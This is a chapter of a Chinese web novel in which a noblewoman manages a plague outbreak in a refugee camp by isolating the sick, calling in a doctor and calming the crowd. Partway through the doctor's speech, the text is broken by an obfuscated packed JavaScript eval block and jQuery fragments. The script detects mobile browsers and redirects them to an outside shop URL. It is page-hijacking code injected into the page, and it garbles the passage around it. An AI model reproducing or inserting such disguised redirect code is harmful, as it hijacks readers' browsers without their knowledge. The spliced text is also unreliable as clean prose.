楚曜倒下去的那一刻,赫连明珠脑中有一瞬间的空白。
疫症。
这两个字猝然在她脑海中炸响。
“来人!”赫连明珠厉声开口,“把他抬进禅院,单独安置。”
守在周围的侍卫连忙上前,七手八脚地将楚曜架了起来。周围的灾民纷纷后退,脸上写满了惊恐。
赫连明珠站起身,环视四周。
所有人都看着她所在的方向。那些目光里有恐惧、有茫然。他们只是看着她。
若真是疫症,那来得太不是时候了。
营地里的上千灾民还没完全安定下来,这时候闹疫病,那她好不容易维持的安宁将再次被打破。而现在,她必须要在疫病爆发前先把这里稳定下来。
赫连明珠没有犹豫,当即向前迈了一步,沉声道:“我知道你们在怕什么。”
窃窃私语渐渐安静下来。
“沧州大水,你们从死人堆里趟出来,没有死。沿途州县的城门紧闭,你们饿着肚子走了几百里路,没有死。”她的目光扫过每一张脏兮兮的脸,“如今一碗热粥喝下了肚,头上有了遮雨的棚,不过是一个人晕倒,你们就怕了?”
“只是寻常的发热,不必惊慌。”赫连明珠盖棺定论。
“若有人散布谣言、制造恐慌……”她停顿了一下,目光沉了下来,“休怪我翻脸无情。”
她强迫自己镇定下来,转头对清霜和宇文韬派来的侍卫长道:“你们一个将发热的灾民全部隔离开来,与其他人分开安置。另一个请郎中来,城里但凡是挂牌的医馆,告知情况后,能请的全都请来。”
清霜应声而去,赫连明珠又唤住她:“等等。”
清霜回过头来。
“若郎中不肯来……”赫连明珠顿了顿,声音压得很低,“便算了。”
清霜神色一凛,垂首道:“是。”
说完,清霜转身快步离去。
赫连明珠把分隔灾民的任务交给侍卫长,撕下一块布料草草遮住脸,走到了楚曜所在的禅院中。
小厮跪在床边,脸色惨白。
赫连明珠走到床边,低声道:“你可要回去给你主子的家人报信?”
小厮抹了把眼泪,哽咽道:“老爷去得早,夫人前年也没了,府里就只有太夫人。太夫人身子不好,奴才不敢禀报。”
赫连明珠沉默了一瞬,吩咐小厮好好照顾楚曜,走出了房间。
她站在院子里,心头一阵乱麻。
若不是疫症,什么都好。若真的是疫症,那她将直面另一个更严重的问题。
沧州大水,沿途州县可以紧闭城门、视若无睹。
可疫症不一样。
疫症会传。
它会越过城墙,越过那些世家自以为固若金汤的壁垒,感染接触过的每一个人。
护国寺离蓟城这么近,那些蓟城的世家贵族得到消息,也许会来杀人。
更何况,宇文韬或许巴不得她死。
想到这里,赫连明珠的手指不自觉地攥紧了袖口。
她深吸一口气,强行让自己镇定下来。
不能乱。
她若是乱了,这一千多人就彻底没了主心骨。
禅院外天色渐沉。
约莫半个时辰,清霜终于带了一个带着面巾的女郎中急匆匆地赶回来。
“主子,奴婢说了情况以后,只有这一个愿意来。”清霜压低声音,神色沉重。
赫连明珠点头:“够了,总比没有强。”
女郎中推开房门,先掀开楚曜的眼皮看了看,又捏着他的手腕诊了半晌脉。
“如何?”赫连明珠问。
女郎中没说话,解开楚曜的衣领。烛火下,楚曜原本白皙的皮肤上,隐隐可以看见几点淡红色的疹子。
“是疫症。”女郎中开口,声音干涩,“大水之后的疫症,先是发热,再出疹,若是扛不过高热,人……便没了。”
楚曜的小厮双腿一软,跪坐在地上。
赫连明珠心下一沉,不死心道:“既然知道是疫症,可有药物?”
女郎中点头,又缓缓摇头。
“点头又摇头,这是什么意思?”
“疫症可治,亦有方子。可这位公子的病……”女郎中摇了摇头,“他发热太久,又受了伤,用完药以后能不能挺过去,全看天意。”
“好。”赫连明珠开口,“大夫,你先将方子开出来,缺什么药,我让我的人去寻。”
女郎中应了一声,从药箱里取出纸笔,就着昏暗的烛火写下药方。
“按这个方子抓药,以井水煎一个时辰,趁热灌下去。另外……”她从药箱里翻出一个布包,取出几把干枯的草药,“这是艾草,点燃熏一熏,对疫气多少有些阻隔之用。”
小厮伸手接过。
接着,女郎中从药箱里拿出几个面巾递给清霜,对赫连明珠道:“姑娘,这面巾用药汁浸过,掩住口鼻,也能挡一挡病气。”
赫连明珠接过一块面巾戴在脸上,扭头对清霜吩咐道:“除去买药之外,再买些布匹针线,让会针线的灾民缝制一些这种面巾。”
“是。”
清霜接过一片面巾,离开了房间。
小厮带着药方,去找寺庙里的和尚熬药。
除却床上躺着的楚曜,房间里只剩了赫连明珠和女郎中两个人。
“姑娘,这疫症来势凶险,从发热到出疹,快则一日,慢则三日。”女郎中顿了顿,看向赫连明珠,“看这公子打扮,当时蓟城人士,所以身怀疫病的,恐怕另有他人,只是尚未发作。”
“疫病一旦发作起来,不是一个两个,是一片。”女郎中话语里没有半分迂回,“姑娘须得早做打算。”
“什么打算?”赫连明珠问。
女郎中道:“第一,将已发热的人和未发热的人彻底隔开,两处不许往来。第二,所有人的衣衫、被褥,用沸水煮过,碗筷一人一副,不得混用。第三……”
她停了一停。
“姑娘要查看所有人的病情,那些已经出了疹的,喝完药,扛过去便能活,扛不过去……”女郎中垂下眼,“姑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752733|207403||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
娘要挖个大坑,备下地方。”
挖个大坑,备下地方。
女郎中说得委婉,赫连明珠却听懂了。
她沉默了一瞬,开口道:“要多大的坑?”
“若是运气好,十之一二。若是运气不好……”她没把话说完,低头将药箱合上,“姑娘心中有数便好。”
赫连明珠点头,转身走了出去。
外头正在争吵,看到她来了,侍卫长当即迎了上来,开口道:“娘娘,灾民还算配合,只是有个老妇的孙子发了热。我们要将孩子带走,她抽了一人的佩刀挡在门口,说要带走她孙子,先捅死她。”
赫连明珠点头,吩咐他带几个兄弟去挖坑,这才向着吵闹的方向走去。
棚子四周已经围了不少人。老妇拿着长刀坐在地上,怀里抱着一个五六岁的男孩。男孩小脸潮红,半睁着眼睛,有气无力地靠在她肩头。
两个侍卫站在几步开外,投鼠忌器,不敢上前。
“谁敢过来!谁敢过来我就跟他拼了!”老妇厉声开口,看到赫连明珠时,她眼睛猛地一亮,急急道,“姑娘,我孙子没病,他就是冻着了,求您不要让人带走他。”
赫连明珠低头看了孩子一眼。他脸色潮红,脖颈处隐约露出的几粒红点,已经感染了疫症。
她抬起眼,看向老妇:“把孩子给我。”
老妇浑身一抖,长刀攥得更紧,刀尖在火光下乱晃:“姑娘,求求你,求求你了!老婆子就这么一个孙子,他爹娘都让大水冲走了,就剩这么一个了。你把他带走,他活不了的,他活不了的啊!”
赫连明珠看着她:“您怕我带走他,他会死。可您若把他留在这里,不肯用药,不肯让大夫瞧,那才是真的没有活路了。”
老妇的嘴唇剧烈地抖了起来。她低头去看怀里的孩子,孩子烧得浑身发烫,小手攥着她的衣襟。
她抬头看向赫连明珠,哭着问:“姑娘,我把他给你,你当真能救他?你当真不诓我?”
赫连明珠看着她的眼睛,一字一句道:“我不能跟您保证他一定能活。大夫说了,能不能扛过去,要看他自己。但我能跟您保证——我会给他用药,会让人看顾他,但凡有一分希望,我都不会把他扔下不管。”
老妇手中的长刀掉在地上,当啷一声。
侍卫走上前来,把孩子抱走。只余下老妇的哭声。
赫连明珠直起身,对着围观的灾民扬声道:“都听着,发热的,出疹的,全都送到东边那排棚子里去,一个都不能落下。没发热的留在原处,不许往东边走动一步。谁要是瞒着不报,害了自己也害了旁人,到时候莫怪我救不了他。”
说完,她再次开口:“从现在开始,不许喝生水,所有人的衣衫、被褥,用沸水煮过后才能继续穿。”
“稍后侍卫会给大家发艾草,大家要把自己的住处和衣物都熏一熏。后续面巾赶制出来,浸泡药水后,每个人都必须戴在脸上。”
不知道是谁开了头。
灾民们一个接一个跪了下来,向着她的方向,虔诚祈祷。